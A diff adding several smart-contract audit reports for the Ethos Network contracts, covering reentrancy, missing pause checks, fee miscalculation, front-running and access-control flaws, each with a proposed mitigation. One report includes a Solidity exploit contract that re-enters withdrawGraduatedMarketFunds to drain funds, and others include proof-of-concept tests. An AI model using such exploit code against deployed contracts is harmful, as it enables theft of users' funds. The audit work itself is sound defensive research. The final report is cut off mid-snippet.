[`withdrawGraduatedMarketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) it's possible to trigger reentrancy at [`_sendEth`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675), as there is no `ReentrancyGuard` in either the `withdrawGraduatedMarketFunds` or `_sendEth`, the `call` in [`_sendEth`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L892) will lead to a reentrancy and since the [`marketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L677) get set to 0 only after the `_sendEth` call, this allows the attacker with ADMIN keys to drain the entire contract + +### Internal pre-conditions + +1. Access to ADMIN keys + +### External pre-conditions + +_No response_ + +### Attack Path + +1. Steal ADMIN keys +2. graduateMarket +3. withdrawGraduatedMarketFunds +4. reentrancy loop in `_sendEth` to drain contract + +### Impact + +If the ADMIN keys are ever stolen it could drain the entire contract + +### PoC + +```solidity +// SPDX-License-Identifier: MIT +pragma solidity 0.8.26; + +import { ReputationMarket as Target } from "./ReputationMarket.sol"; + +contract Exploit { + Target public target; + uint256 profileId; + + constructor(address targetAddress, uint256 pId) { + target = Target(targetAddress); + profileId = pId; + } + + function exploit() public { + target.graduateMarket(profileId); + target.withdrawGraduatedMarketFunds(profileId); + } + + receive() external payable { + if (address(target).balance > 0) { + target.withdrawGraduatedMarketFunds(profileId); + } + } +} +``` + +### Mitigation + +Option 1: Add `ReeantrancyGuard` to `withdrawGraduatedMarketFunds` +Option 2: Set [`marketFunds`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L677) to 0 before calling [`_sendETH` ](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L675) \ No newline at end of file diff --git a/422.md b/422.md new file mode 100644 index 0000000..59c7ce2 --- /dev/null +++ b/422.md @@ -0,0 +1,82 @@ +Brilliant Jetblack Swan + +Medium + +# `EthosVouch::increaseVouch` function is missing `whenNotPaused` modifier + +### Summary + +`EthosVouch::increaseVouch` function is missing `whenNotPaused` modifier and users can increase their vouch balance even if the protocol is paused. + +### Root Cause + +`increaseVouch` function is missing `whenNotPaused` modifier. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 + +### Internal pre-conditions + +N/A + +### External pre-conditions + +N/A + +### Attack Path + +_No response_ + +### Impact + +Users can increase their vouch balance even if the protocol is paused. + +### PoC +Every function in `EthosVouch` contract has `whenNotPaused` modifier, however `increaseVouch` function doesn't. +```solidity +function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); //@audit profileStatusById verified check + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } +``` +As evident from the above code snippet, users can increase their vouch balance when the protocol is paused. +And I think it is not intended. +### Mitigation + +It is recommended to add `whenNotPaused` modifier to `increaseVouch` function. +```diff +- function increaseVouch(uint256 vouchId) public payable nonReentrant { ++ function increaseVouch(uint256 vouchId) public payable whenNotPaused nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); //@audit profileStatusById verified check + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, subjectProfileId, msg.value); + } + +``` \ No newline at end of file diff --git a/423.md b/423.md new file mode 100644 index 0000000..497dff2 --- /dev/null +++ b/423.md @@ -0,0 +1,215 @@ +Zesty Goldenrod Chipmunk + +High + +# Incorrect fund calculation in `buyVotes()` locks funds in the contract or breaks core functions + +### Summary + +The function [withdrawGraduatedMarketFunds()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L660) allows admins to withdraw the `marketFunds[profileId]` amount from a market after it has graduated. + +When buying and selling votes, `marketFunds` is updated with the funds used for buying and selling votes. + +When calling `buyVotes()`, the function calculates `fundsPaid` via `_calculateBuy()`: + +```solidity + function _calculateBuy( + ... + uint256 votesBought, + uint256 fundsPaid, + uint256 newVotePrice, + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) + { + uint256 fundsAvailable; + (fundsAvailable, protocolFee, donation) = previewFees(funds, true); + + ... + + while (fundsAvailable >= votePrice) { + fundsAvailable -= votePrice; + fundsPaid += votePrice; + votesBought++; + + market.votes[isPositive ? TRUST : DISTRUST] += 1; + votePrice = _calcVotePrice(market, isPositive); + } + 📌 fundsPaid += protocolFee + donation; // fees are being added to fundsPaid + ... +``` + +[_ReputationMarket.sol#942_](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L942) + +As shown, `protocolFee` and `donation` are added to `fundsPaid`. + +**The problem is** that `protocolFees` are sent out of this contract via `applyFees()` but are not subtracted from the `marketFunds` mapping. + +### Root Cause + +```solidity + function buyVotes( + ... + uint256 fundsPaid, + , + uint256 protocolFee, + uint256 donation, + uint256 minVotePrice, + uint256 maxVotePrice + ) = _calculateBuy(markets[profileId], isPositive, msg.value); + + ... + // Apply fees first + applyFees(protocolFee, donation, profileId); // @audit protocolFee sent to protocolFeeAddress + ... + + // tally market funds + 📌 marketFunds[profileId] += fundsPaid; // @audit protocolFee is not being subtracted + ... + } +``` + +[_ReputationMarket.sol#442_](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) + +As a result, `marketFunds` will be higher than the actual funds in the contract, causing `withdrawGraduatedMarketFunds()` to fail after a market graduates. + +Even if multiple markets exist, `withdrawGraduatedMarketFunds()` will not fail outright but will **severely impact other markets and functions.** + +This behavior is unintended and will consistently lead to significant issues, such as funds becoming stuck in the contract or core functions breaking. + +### Internal pre-conditions + +- `protocolFeeAddress` is set +- `protocolFee` is larger than 0 bps + +### External pre-conditions + +None. + +### Attack Path + +- User buys or sells votes + +### Impact + +The `withdrawGraduatedMarketFunds` function will revert, locking funds in the contract. + +### Additional impact + +This example is only for one market being created. If multiple markets are created, funds won't be locked, but will affect other markets/functions severely. Examples: + +- `sellVotes()` - admin may withdraw `marketFunds` via `withdrawGraduatedMarketFunds()`, depleting the contract balance, causing insufficient funds to pay vote sellers. +- `withdrawDonations()` - admin may withdraw `marketFunds`, leaving the contract balance less than `donationEscrow[msg.sender]`, making it impossible to withdraw donations. + +### PoC + + +
+Click for coded PoC + +Place the following code in `rep.market.test.ts` and run with `npm run test:contracts`. + +```typescript +// eslint-disable-next-line vitest/expect-expect +it.only('should apply fees to marketFunds incorrectly', async () => { + const amountToBuy = DEFAULT.buyAmount * 20n; + const protocolFeeAddress: string = ethers.Wallet.createRandom().address; + await reputationMarket.connect(deployer.ADMIN).setProtocolFeeAddress(protocolFeeAddress); + // setting a 2% fee + await reputationMarket.connect(deployer.ADMIN).setEntryProtocolFeeBasisPoints(200); + + const contractBalanceBefore = await ethers.provider.getBalance(reputationMarket.target); + const marketFundsBefore = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log('before contract balance: ' + contractBalanceBefore); + console.log('before marketFunds[1]: ' + marketFundsBefore); + console.log('---------------------------------'); + + // buying votes worth 0.2 eth + const { trustVotes: positive } = await userA.buyVotes({ + buyAmount: amountToBuy, + }); + + console.log('bought votes: ' + positive); + + // selling the same votes for the same price + const { trustVotes: finalPositiveVotes } = await userA.sellVotes({ + sellVotes: positive, + }); + + console.log('sold votes: ' + (positive - finalPositiveVotes)); + + let contractBalanceAfter = await ethers.provider.getBalance(reputationMarket.target); + let marketFundsAfter = await reputationMarket.marketFunds(DEFAULT.profileId); + console.log('---------------------------------'); + console.log('after marketFunds[1]: ' + marketFundsAfter); + console.log('after contract balance: ' + contractBalanceAfter); + + // should be equal or at least contractBalanceAfter > marketFundsAfter + const marketFundsContractDelta1 = marketFundsAfter - contractBalanceAfter; + expect(marketFundsContractDelta1).to.be.gt(0); + // contract balance hasn't changed, but marketFund has increased + expect(contractBalanceAfter).to.equal(contractBalanceBefore); + expect(marketFundsAfter).to.be.gt(marketFundsBefore); + + // even worse, marketFunds continues to grow on subsequent buys + + await userA.buyVotes({ + buyAmount: amountToBuy, + }); + await userA.sellVotes({ + sellVotes: positive, + }); + contractBalanceAfter = await ethers.provider.getBalance(reputationMarket.target); + marketFundsAfter = await reputationMarket.marketFunds(DEFAULT.profileId); + + console.log('---------------------------------'); + const marketFundsContractDelta2 = marketFundsAfter - contractBalanceAfter; + console.log('after marketFunds[1]: ' + marketFundsAfter); + console.log('after contract balance: ' + contractBalanceAfter); + // marketFunds are even higher now and the contract balance is the same + expect(contractBalanceAfter).to.equal(contractBalanceBefore); + expect(marketFundsContractDelta2).to.be.gt(marketFundsContractDelta1).and.to.be.gt(0); + + await deployer.contractAddressManager.contract + .connect(deployer.OWNER) + .updateContractAddressesForNames([deployer.ADMIN.address], ['GRADUATION_WITHDRAWAL']); + + await expect(reputationMarket.connect(deployer.ADMIN).graduateMarket(DEFAULT.profileId)) + .to.emit(reputationMarket, 'MarketGraduated') + .withArgs(DEFAULT.profileId); + + // withdrawGraduatedMarketFunds() does not work as expected, reverts + await expect( + reputationMarket.connect(deployer.ADMIN).withdrawGraduatedMarketFunds(DEFAULT.profileId), + ).to.be.revertedWith('ETH transfer failed'); +}); +``` + +
+ +- `protocolFee` is set to 2000 bps (2%) +- User buys votes for 100e18 wei +- Fees amount to 2e18 wei +- `protocolFee` is sent to `protocolFeeAddress` +- `ReputationMarket`'s `marketFunds` is increased by 100e18 wei, however, the actual contract balance is 98e18 wei. +- On `withdrawGraduatedMarketFunds()`, it reverts due to insufficient funds in the contract. + _Example values are used for simplicity._ + + +### Mitigation + +Subtract fees from `marketFunds` in `buyVotes()`. + +```solidity +function buyVotes( + ... + marketFunds[profileId] += (fundsPaid - protocolFee - donation); + emit VotesBought( + ... +``` + +[_ReputationMarket.sol#442_](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L442) + +Additionally, consider implementing an emergency withdrawal function for unforeseen scenarios. \ No newline at end of file diff --git a/424.md b/424.md new file mode 100644 index 0000000..726d4f5 --- /dev/null +++ b/424.md @@ -0,0 +1,193 @@ +Modern Mulberry Seal + +Medium + +# Incorrect calculation of fees in `EthosVouch` will cause partial loss of user's principle + +### Summary + +In `EthosVouch`, vouching transactions incur three fees: protocol entry fee, donation fee, and previous vouchers fee. These fees are calculated using the actual deposited amount (after removing fees) rather than the total amount sent to the contract, using this formula ([ref](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L976-L985)): +```f + /* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ +``` +The formula is used to calculate each fee (protocol, donation, vouchers), using the same input amount but with different `feeBasisPoints` values. Since the total fee is the sum of these individual calculations, and the formula behaves differently based on the `feeBasisPoints` value, users end up paying more in total fees than intended. This reduces their principal deposit more than it should. + +### Root Cause + +In [applyFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L952), each fee calculation uses the same total amount but different basis points. Per the provided formula, when calculating multiple fees with different basis points values but the same total amount, each fee ends up being applied to a different effective base amount. As a result, both the individual fees and the final deposit amount are calculated incorrectly. + + + +### Internal pre-conditions + +1. Admin needs to set the fees. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User calls [vouchByProfileId](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330) or [increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426), or [vouchByAddress](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309) + +### Impact + +The user will lose up to **0.22%** of his principle on every [vouchByProfileId](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330) or [increaseVouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426), or [vouchByAddress](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L309) call, due to the incorrect calculations in [applyFees()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L936-L952). + +### PoC + +Add the test to `/test/vouch/vouch.fees.test.ts` + +The first case shows that the base is different, when different fees are used. And the second one shows how much principle the user is losing. + +```javascript +describe("PoC", () => { + it("should calculate the fees on different base", async () =>{ + await setupFees(deployer); + const entryFee = await deployer.ethosVouch.contract.entryProtocolFeeBasisPoints(); + const donationFee = await deployer.ethosVouch.contract.entryDonationFeeBasisPoints(); + const vouchIncentives = await deployer.ethosVouch.contract.entryVouchersPoolFeeBasisPoints(); + + const expectedDepositEntryFee = calculateFee(paymentAmount, entryFee).deposit; + const expectedDepositDonationFee = calculateFee(paymentAmount, donationFee).deposit; + const expectedDepositVouchIncentives = calculateFee(paymentAmount, vouchIncentives).deposit; + + console.log('Deposit Entry Fee is applied on: ', expectedDepositEntryFee); + console.log('Deposit Donation Fee is applied on: ', expectedDepositDonationFee); + console.log('Deposit Vouch Incentives Fee is applied on: ', expectedDepositVouchIncentives); + }) + it("should deposit less due to the fees calculated wrongly", async() => { + const balanceFeeAddressBefore = await ethers.provider.getBalance(deployer.ethosVouch.contract.protocolFeeAddress()) + await setupFees(deployer); + await userA.setBalance('10'); + + // Payment amount = 1 ether + // entryFee = 850 bps + // donationFee = 150 bps + // Total fee 10% + + const { vouchId } = await userA.vouch(userB); + const balance = { + vouchDeposit: await userA.getVouchBalance(vouchId), + donationFee: await userB.getRewardsBalance(), + entryFee: (await ethers.provider.getBalance(deployer.ethosVouch.contract.protocolFeeAddress())) - balanceFeeAddressBefore + }; + // In this case we have no vouchIncentives, as this is the first voucher + const expectedFee = calculateFee(paymentAmount, entryFee+donationFee).fee; + const expectedDeposit = calculateFee(paymentAmount, entryFee+donationFee).deposit; + + console.log('Expected Fee: ', expectedFee); + console.log('Expected Deposit Amount: ', expectedDeposit); + + + console.log('Actual Fee: ', (balance.donationFee + balance.entryFee)); + console.log('Actual Deposit Amount: ', balance.vouchDeposit); + + + console.log('Expected fee bps: ', entryFee + donationFee); + console.log('Fee bips taken from the expected deposit: ', expectedFee * BigInt(10_000) / expectedDeposit); + console.log('Fee bips taken the actual deposited amount: ', (balance.donationFee + balance.entryFee) * BigInt(10_000) / (balance.vouchDeposit)) + + console.log('Difference: ', expectedDeposit - balance.vouchDeposit); + console.log('Bips loss of user\'s principle: ', (expectedDeposit - balance.vouchDeposit) * BigInt(10_000) / paymentAmount); + }) + }) +``` + +```logs + PoC +Deposit Entry Fee is applied on: 921658986175115207n +Deposit Donation Fee is applied on: 985221674876847290n +Deposit Vouch Incentives Fee is applied on: 980392156862745098n + ✔ should calculate the fees on different base +Expected Fee: 90909090909090910n +Expected Deposit Amount: 909090909090909090n +Actual Fee: 93119338948037503n +Actual Deposit Amount: 906880661051962497n +Expected fee bps: 1000n +Fee bips taken from the expected deposit: 1000n +Fee bips taken the actual deposited amount: 1026n +Difference: 2210248038946593n +Bips loss of user's principle: 22n + ✔ should deposit less due to the fees calculated wrongly +``` + +### Mitigation + +```diff ++ function hasPreviousVouchers(uint256 profileId) public view returns (bool) { ++ uint256[] storage vouchIds = vouchIdsForSubjectProfileId[profileId]; ++ uint256 totalVouches = vouchIds.length; ++ ++ // Calculate total balance of all active vouches ++ uint256 totalBalance; ++ for (uint256 i = 0; i < totalVouches; i++) { ++ Vouch storage vouch = vouches[vouchIds[i]]; ++ // Only include active (not archived) vouches in the distribution ++ if (!vouch.archived) { ++ totalBalance += vouch.balance; ++ } ++ } ++ return totalBalance > 0; ++ } + + function applyFees(uint256 amount, bool isEntry, uint256 subjectProfileId) + internal + returns (uint256 toDeposit, uint256 totalFees) + { + if (isEntry) { + // Calculate entry fees + ++ uint256 totalFeesBasisPoints = entryProtocolFeeBasisPoints + entryDonationFeeBasisPoints; ++ bool hasPreviousVouchers = hasPreviousVouchers(subjectProfileId); ++ if(hasPreviousVouchers) totalFeesBasisPoints += entryVouchersPoolFeeBasisPoints; + ++ uint256 totalFee = calcFee(amount, totalFeesBasisPoints); + ++ uint256 protocolFee = totalFee.mulDiv(entryProtocolFeeBasisPoints, totalFeesBasisPoints); ++ uint256 donationFee = totalFee.mulDiv(entryDonationFeeBasisPoints, totalFeesBasisPoints); ++ uint256 vouchersPoolFee = hasPreviousVouchers? totalFee.mulDiv(entryVouchersPoolFeeBasisPoints, totalFeesBasisPoints): 0; + ++ // Check for dust from the rounding and add it to the Protocol fee, or whatever fee is deemed correct ++ if(totalFee != protocolFee + donationFee + vouchersPoolFee) protocolFee += totalFee - (protocolFee + donationFee + vouchersPoolFee); + +- uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); //! The fee will be inconsistent, because it will be applied to different deposits +- uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); //@audit the fees are not applied to the same deposit amount +- uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } +``` \ No newline at end of file diff --git a/425.md b/425.md new file mode 100644 index 0000000..48b9a74 --- /dev/null +++ b/425.md @@ -0,0 +1,79 @@ +Skinny Saffron Guppy + +Medium + +# Users can unvouch during the 24-hour evaluation period. + +### Summary + +According to the whitepaper, there will be a 24-hour evaluation period once the profile is flagged for slashing but user can always unvouch in that period and prevent slashing. + +### Root Cause + +According to the docs once the profile is flagged for slashing, it should prevent the staking and withdrawal from that profile. + +> Any Ethos participant may act as a "whistleblower" to accuse another participant of inaccurate claims or unethical behavior. This accusation triggers a 24h lock on staking (and withdrawals) for the accused. +> + +but if we have a look at the `EthosVouch:unvouch` function then there is nothing preventing the unvouch if the profile is flagged for slashing. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L452 + +```solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { + Vouch storage v = vouches[vouchId]; + _vouchShouldExist(vouchId); + _vouchShouldBePossibleUnvouch(vouchId); + // because it's $$$, you can only withdraw/unvouch to the same address you used to vouch + // however, we don't care about the status of the address's profile; funds are always attached + // to an address, not a profile + if (vouches[vouchId].authorAddress != msg.sender) { + revert AddressNotVouchAuthor(vouchId, msg.sender, vouches[vouchId].authorAddress); + } + + v.archived = true; + // solhint-disable-next-line not-rely-on-time + v.activityCheckpoints.unvouchedAt = block.timestamp; + // remove the vouch from the tracking arrays and index mappings + _removeVouchFromArrays(v); + + // apply fees and determine how much is left to send back to the author + (uint256 toWithdraw, ) = applyFees(v.balance, false, v.subjectProfileId); + // set the balance to 0 and save back to storage + v.balance = 0; + // send the funds to the author + // note: it sends it to the same address that vouched; not the one that called unvouch + (bool success, ) = payable(v.authorAddress).call{ value: toWithdraw }(""); + if (!success) { + revert FeeTransferFailed("Failed to send ETH to author"); + } + + emit Unvouched(v.vouchId, v.authorProfileId, v.subjectProfileId); + } +``` + +This user can always unvouch in 24-hour period and prevent his profile from being slashed.Apart from this he also has the power to mark someone unhealthy and if he is malicious he will use it to deteriorate the reputation of the subject. + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +none + +### Impact + +Malicious users cannot get slashed and he have the power to make someone unhealthy without any cost. + +### PoC + +none + +### Mitigation + +The code should check if the profile is pending for slashing and if it is then unvouch should revert or it should only allow the user to unvouch 90% and lock 10% of funds until 24 hours is passed. \ No newline at end of file diff --git a/426.md b/426.md new file mode 100644 index 0000000..767a77d --- /dev/null +++ b/426.md @@ -0,0 +1,88 @@ +Skinny Saffron Guppy + +Medium + +# `voucherPoolFee` can be sandwiched. + +### Summary + +`voucherPoolFee` is distributed based on the amount vouched(one having large amount get more reward), malicious user can sandwich this to take the large chuck of this reward. + +### Root Cause + +When someone `vouch` for the profile the `voucherPoolFee` is charged, this is is fee that is distributed among all the previous voucher for their commitment to the profile. According to the code the reward is distribute based on the vouched amount of the account. the one having more vouch amount receives more reward. + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L725 + +```solidity + /** + * @notice Distributes rewards to previous vouchers proportionally based on their current balance + * @param amount The amount to distribute as rewards + * @param subjectProfileId The profile ID whose vouchers will receive rewards + */ + +function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + //@audit Sandwich the reward ? + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + ->> uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + +``` + +The reward distribution based on amount makes the system vulnerable to sandwich attacks. A malicious user can monitor for incoming `vouch` transactions with large amounts and frontrun them by vouching first. When the large `vouch` transaction executes, the attacker will receive a significant portion of the voucherPoolReward. They can then unvouch and exit the system with a profit. + + + +### Internal pre-conditions + +none + +### External pre-conditions + +none + +### Attack Path + +none + +### Impact + +Malicious actors can get the reward without actually providing any value to the profile. + +### PoC + +none + +### Mitigation + +Once the user `vouch` he shouldn’t be allowed to unvouch immediately, There should be some time buffer between vouch and unvouch \ No newline at end of file diff --git a/427.md b/427.md new file mode 100644 index 0000000..0a834c0 --- /dev/null +++ b/427.md @@ -0,0 +1,104 @@ +Mysterious Cherry Crab + +High + +# Attacker will manipulate vote prices, causing financial loss to users + +### Summary + +The missing slippage protection in [`ReputationMarket::sellVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L495-L534) will cause significant financial loss for users as an attacker can front-run the sale transaction to manipulate the vote prices. + +### Root Cause + +In `ReputationMarket::sellVotes()`, there is no slippage check before executing the sell transaction, allowing an attacker to manipulate the price by front-running. The vulnerability arises because, without slippage protection, an attacker can buy votes in the opposite direction (distrust) just before a large sell transaction, skewing the price in their favor. + +### Internal pre-conditions + +1. A user (e.g., User A) holds a large position in votes (e.g., 100 TRUST votes). +2. The attacker (User B) monitors the market and sees a large sell order. +3. The attacker can quickly buy votes in the opposite direction (e.g., 100 DISTRUST votes) to manipulate the price. + +### External pre-conditions + +_No response_ + +### Attack Path + +1. User A submits a transaction to sell 100 TRUST votes in the market, which is visible in the mempool. +2. User B monitors the mempool and observes User A’s transaction details. +3. User B submits a transaction to buy 100 DISTRUST votes with a higher gas fee, causing it to execute before User A's transaction. +4. User B’s action alters the market dynamics, reducing the price of TRUST votes. +5. User A’s transaction executes after User B’s, leading to a significantly reduced return for User A due to the manipulated market conditions. + +### Impact + +The user (User A) suffers a loss of funds due to the manipulated market price. The attacker (User B) profits by buying and selling votes at favorable prices due to the lack of slippage protection. + +### PoC + +## Scenario Details: + +- Total votes: 150 (120 TRUST + 30 DISTRUST) +- User A's votes: 100 TRUST votes. +- Market's base price: Assume 1 ETH for simplicity. +- User B buys 100 DISTRUST votes. + +### Step 1: Calculate the price for TRUST votes +The function calculates the price of a vote as: +```sh +Price of a vote = (votes of selected type * base price) / total votes +``` +Since User A is selling TRUST votes, we calculate the price of TRUST votes before the sale. + +**Before Sale:** + +- Votes of TRUST = 120 +- Votes of DISTRUST = 30 +- Total votes = 120 + 30 = 150 +- Base price = 1 ETH + +Using the formula: +```sh +Price per TRUST vote = (120 * 1 ETH) / 150 = 0.8 ETH +``` +### Step 2: User B’s action +User B monitors pending transactions in the mempool and identifies User A’s intent to sell 100 TRUST votes, and since User B wants to profit, User B submits a higher-gas transaction to ensure their buy of 100 DISTRUST votes is processed before User A’s sell transaction. + +**After User B’s transaction:** + +- User B buys 100 DISTRUST votes, increasing the DISTRUST vote count to 130. +- Total votes = 120 (TRUST) + 130 (DISTRUST) = 250 + +### Step 3: Calculate the new price after User B's purchase +Now, we calculate the price of TRUST votes after the market is imbalanced due to User B's actions. + +**After the market imbalance:** + +- Votes of TRUST = 120 +- Votes of DISTRUST = 130 +- Total votes = 120 + 130 = 250 + +Now, we calculate the price of TRUST votes after User B’s buy: +```sh +Price per TRUST vote = (120 * 1 ETH) / 250 = 0.48 ETH +``` + +### Step 4: User A's sale outcome +When User A tries to sell their 100 TRUST votes, the price has dropped due to the imbalance. Since User A is selling at the lower price, they will get less ETH than expected. + +**Expected amount for 100 TRUST votes (before User B’s action):** + +- 100 TRUST votes * 0.8 ETH per vote = 80 ETH + +**Amount User A actually gets (after User B’s action):** + +- 100 TRUST votes * 0.48 ETH per vote = 48 ETH + +### Conclusion: +User A expected to receive 80 ETH for selling 100 TRUST votes, but after User B front-runs them by buying 100 DISTRUST votes, the price drops to 0.48 ETH per TRUST vote, resulting in User A receiving only 48 ETH. + +This demonstrates how User B can exploit the lack of slippage protection to cause a loss for User A by front-running their transaction. + +### Mitigation + +To mitigate this vulnerability, implement a slippage protection check in the `ReputationMarket::sellVotes()` function, similar to the one used in the [`ReputationMarket::buyVotes()`](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L461) function. This would ensure that a user cannot sell votes at a price that deviates significantly from the expected price, protecting them from front-running attacks. \ No newline at end of file diff --git a/428.md b/428.md new file mode 100644 index 0000000..a29edf0 --- /dev/null +++ b/428.md @@ -0,0 +1,73 @@ +Fresh Ocean Mantis + +High + +# The `EthosVouch.increaseVouch()` function should only be callable by the vouch creator. + +### Summary + +The current design allows holders of the same `profileId` to increase a vouch created by other holders with the same `profileId`. + +However, only the vouch creator can unvouch, and the vouch creator retains all unvouched funds. + +This mechanism poses a potential risk of fund loss for those who increase the vouch. + +### Root Cause + +As shown in the [increaseVouch()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L24-L26) function, holders of the same `profileId` can increase a vouch created by other holders with the same `profileId`. + +```solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < 